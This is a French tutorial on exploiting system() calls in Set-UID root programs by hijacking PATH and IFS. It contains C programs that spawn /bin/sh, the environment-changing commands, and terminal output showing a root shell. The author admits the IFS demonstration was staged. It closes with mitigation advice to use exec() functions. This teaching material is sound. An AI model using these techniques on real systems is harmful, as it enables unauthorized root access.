Sommaire

1. Description de la vulnérabilité

System() est une fonction bien connue des Linux. Elle permet de lancer une commande passée en paramètre de la fonction. Mais contrairement aux focntions du type exec(), comme execve(), system() utilise certaines variables d'environnement pour chercher le fichier à lancer. Ainsi, system() se repère surtout grâce à $PATH.

1.i. Variable PATH

Cette variable contient la liste des répertoires dans lesquels les fichiers pourront être utiliser sans préciser le nom du répertoire dans lesquels ils se trouvent. Par exemple, PATH contient "/bin", donc si vous voulez exécuter /bin/commande, vous aurez juste à taper dans le shell : `$ commande`.
PATH contient donc toute une liste de répertoires dans lesquels le shell regarde lorsque vous tapez une commande qui ne contient pas d'information concernant son dossier. Dans cette variable, les dossiers sont listés du plus important aux moins importants, de gauche à droite. Ils sont séparés par le caractère ':'. Par exemple, si `PATH=/bin:/usr/bin:/home/toto`, alors toutes les commandes que vous taperez seront cherchées dans /bin et si elles ne s'y trouvent pas, le shell examinera /usr/bin, et ainsi de suite.

1.ii. Variable IFS

IFS (Internal Field Separator) est une variable contenant le caractère de séparation utilisé pour distinguer un programme de ses arguments. Initialement, il vaut un espace blanc. En effet, si vous voulez exécuter le programme prog avec pour argument arg, vous tapez habituellement `$ prog arg`. Si jamais IFS vaut un autre caractère, par exemple ':', vous devrez taper : `$ :prog:arg`.

1.iii. Le problème

Ces variables sont modifiables par l'utilisateur. De plus, system(), lance un programme en lui confiant les droits du programme appelant. Le problème va donc se poser si un programme tourne en Set-UID, c'est à dire avec les droits de son propriétaire, et s'il possède un appel à system sur une commande arbitraire. En effet, l'utilisateur pourra, s'il identifie la commande en question, modifier les variables PATH et IFS afin de faire exécuter un de ses propres programmes au lieu de celui escompté.

2. Attaque avec PATH seulement

Soit le programme suivant :

```
trance@trancebox:~/system$ cat vuln.c
int main()
{
  printf("Aujourd'hui on est :\n");
  system("date");
}
trance@trancebox:~/system$ ls -l
...
-rwsr-xr-x  1 root   trance 11481 2006-07-16 13:07 vuln
-rw-r--r--  1 trance trance    69 2006-07-16 13:07 vuln.c
...
```

Le programme vuln est Set-UID root. Quand on le lance, il affiche la date :

```
trance@trancebox:~/system$ ./vuln
Aujourd'hui on est :
dim jui 16 14:15:03 CEST 2006
```

En effet, si on lance la commande `date` on obtient le même affichage. Le programme fait bien son travail.
Maintenant, utilisons nos connaissances. Nous voulons executer un shell root. Nous allons donc créer un programme qui le fait pour nous. Ce programme devra juste lancer un shell, et s'appeler "date".

```
trance@trancebox:~/system$ cat date.c
#include <unistd.h>
#include <sys/types.h>

int main()
{
  char *arg[] = {"/bin/sh",NULL};
  execve(arg[0],arg,NULL);
}
trance@trancebox:~/system$ ls -l
...
-rwxr-xr-x  1 trance trance 11375 2006-07-16 13:09 date
-rw-r--r--  1 trance trance   120 2006-07-16 13:09 date.c
-rwsr-xr-x  1 root   trance 11481 2006-07-16 14:15 vuln
-rw-r--r--  1 trance trance    69 2006-07-16 14:15 vuln.c
...
```

Vous remarquerez que les droits sur date sont normaux, le fichier appartient bien à l'utilisateur. Maintenant, il ne nous reste plus qu'à modifier PATH pour le faire pointer en priorité dans le répertoire courant, c'est à dire '.' :

```
trance@trancebox:~/system$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
trance@trancebox:~/system$ PATH=.:$PATH
trance@trancebox:~/system$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
```

Le dossier courant a donc été rajouté. Si jamais cela ne marchait pas, il faudrait faire un `export PATH=.:$PATH` afin d'exporter la variable. Nous n'avons plus qu'à lancer le programme vulnérable :

```
trance@trancebox:~/system$ ./vuln
Aujourd'hui on est :
```

```
sh-2.05b# whoami
root
```

Voila :-)

Remarque : si jamais nous n'avions pas eu la source du programme vulnérable, nous n'aurions pas pu savoir à priori quelle commande serait exécutée par system. Nous aurions donc pu utiliser 'ltrace', 'strings' ou un débogueur pour récupérer cette information.

3. Attaque avec PATH et IFS

Le cas que nous venons de voir ne se présente en réalité que très rarement. En général, les programmes sont plutôt de ce type :

```
trance@trancebox:~/system$ cat vuln2.c
int main()
{
  printf("Aujourd'hui on est :\n");
  system("/bin/date");
}
trance@trancebox:~/system$ ls -l

...
-rwsr-xr-x  1 root   trance 11482 2006-07-16 14:31 vuln2
-rw-r--r--  1 trance trance    74 2006-07-16 14:31 vuln2.c
...
```

Une exploitation avec seulement la variable $PATH se révèle donc inefficace. Il va falloir utiliser IFS. A part cela, la technique est la même.

Nous allons introduire la valeur '/' dans IFS. Comme cela le shell pensera que "/bin/date" revient à executer le programme 'bin' avec comme argument 'date'. Bien entendu, 'bin' sera notre petit programme lançant un shell. Voici l'exploit :

```
trance@trancebox:~/system$ cat bin.c
#include <unistd.h>
#include <sys/types.h>

int main()
{
  char *arg[] = {"/bin/sh",NULL};
  execve(arg[0],arg,NULL);
}
trance@trancebox:~/system$ ls -l
total 68
-rwxr-xr-x  1 trance trance 11375 2006-07-16 14:44 bin
-rw-r--r--  1 trance trance   120 2006-07-16 13:34 bin.c
-rwsr-xr-x  1 root   trance 11482 2006-07-16 14:31 vuln2
-rw-r--r--  1 trance trance    74 2006-07-16 14:31 vuln2.c
...
trance@trancebox:~/system$ PATH=.:$PATH
trance@trancebox:~/system$ IFS=/
trance@trancebox:~/system$ ./vuln2
Aujourd'hui on est :
sh-2.05b# whoami
root
```

En fait, là, je l'avoue, j'ai triché. Pourquoi ? Parce que ma machine de test a un noyau 2.4.27, et que cette faille de sécurité est corrigée. En effet, sur les noyaux "récents", IFS prend automatiquement un espace pour valeur dès qu'un programme se lance. Si vous testez ceci sur votre machine, il y a de fortes chances que cela ne marche pas... et j'en suis désolé.

4. Sécurisation

La méthode la plus simple pour éviter ce genre de problèmes est d'utiliser les fonctions du type exec() à la place de system. Certes, leurs syntaxes sont un tout petit peu plus contraignantes mais au moins la sécurité y est. Vous pouvez utiliser par exmeple execl() ou execve().

Pour ce qui est du remplissage automatique de IFS, gardez à l'esprit que c'est loin d'être une sécurité efficace. En effet, sur certains systèmes, cette particularité n'est pas toujours présente... Donc si vous êtes développeurs, n'utilisez jamais system() !

Références

Éliminer les failles de sécurité dès le développement d'une application - Partie 1 - Christophe Blaess

Hackerslab - Free board